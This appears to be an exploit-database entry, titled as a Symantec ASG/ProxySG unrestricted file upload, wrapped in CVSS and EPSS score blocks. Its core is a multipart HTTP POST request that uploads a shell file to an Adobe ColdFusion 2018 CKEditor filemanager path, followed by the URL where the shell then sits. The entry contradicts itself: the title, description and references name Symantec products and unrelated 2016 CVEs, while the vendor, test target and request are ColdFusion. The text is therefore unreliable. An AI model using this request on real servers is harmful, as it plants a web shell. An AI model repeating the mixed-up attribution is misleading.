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exploitpackPankaj Kumar ThakurEXPLOITPACK:E7A797B7294B457899211D2ADC877456
HistorySep 16, 2019 - 12:00 a.m.

Symantec Advanced Secure Gateway (ASG) ProxySG - Unrestricted File Upload

2019-09-1600:00:00
Pankaj Kumar Thakur
26

7.3 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

8.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:S/C:C/I:C/A:C

0.018 Low

EPSS

Percentile

88.2%

Symantec Advanced Secure Gateway (ASG) ProxySG - Unrestricted File Upload

===========Security Intelligence============
# Vendor Homepage: adobe.com
# Version: 2018
# Tested on: Adobe ColdFusion 2018
# Exploit Author: Pankaj Kumar Thakur (Nepal)

==========[Table of Contents]==============
 * Overview
 * Detailed description
 * Thanks & Acknowledgements
 * References
 
==========[Vulnerability Information]========

 * Unrestricted file upload in Adobe ColdFusion 2018
 * CWE-434
 * Base Score: 6.8 MEDIUM 
 * Vector: AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
 
=========[ Overview]=========================
 
 * System Affected: Adobe ColdFusion 2018
 * Impact: Unrestricted file upload
 
=====[ Detailed description]=================
Unrestricted file upload vulnerability in the Symantec Advanced Secure Gateway (ASG) and ProxySG management consoles. A malicious appliance administrator can upload arbitrary malicious files to the management console and trick another administrator user into downloading and executing malicious code.

Request

POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm
HTTP/1.1
Host: hostname:portno
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Content-Type: multipart/form-data;
Content-Length: 303
Connection: close
Upgrade-Insecure-Requests: 1

.
.

-----------------------------24464570528145
Content-Disposition: form-data; name="file"; filename="shell_file with extension"
Content-Type: image/jpeg

shell code
-----------------------------24464570528145
Content-Disposition: form-data; name="path"
.
.
After uploading shell, its located here

http://coldfusion:port/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell_file with extension

=====[ Thanks & Acknowledgements]========================================
* Acknowledged by Adobe
* Duplicate
 
 
 * https://nvd.nist.gov/vuln/detail/CVE-2016-10258
 * https://www.cvedetails.com/cve/CVE-2016-1713/
 * https://www.openwall.com/lists/oss-security/2016/01/12/4
 
=====[ EOF ]===========================================================

7.3 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

8.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:S/C:C/I:C/A:C

0.018 Low

EPSS

Percentile

88.2%

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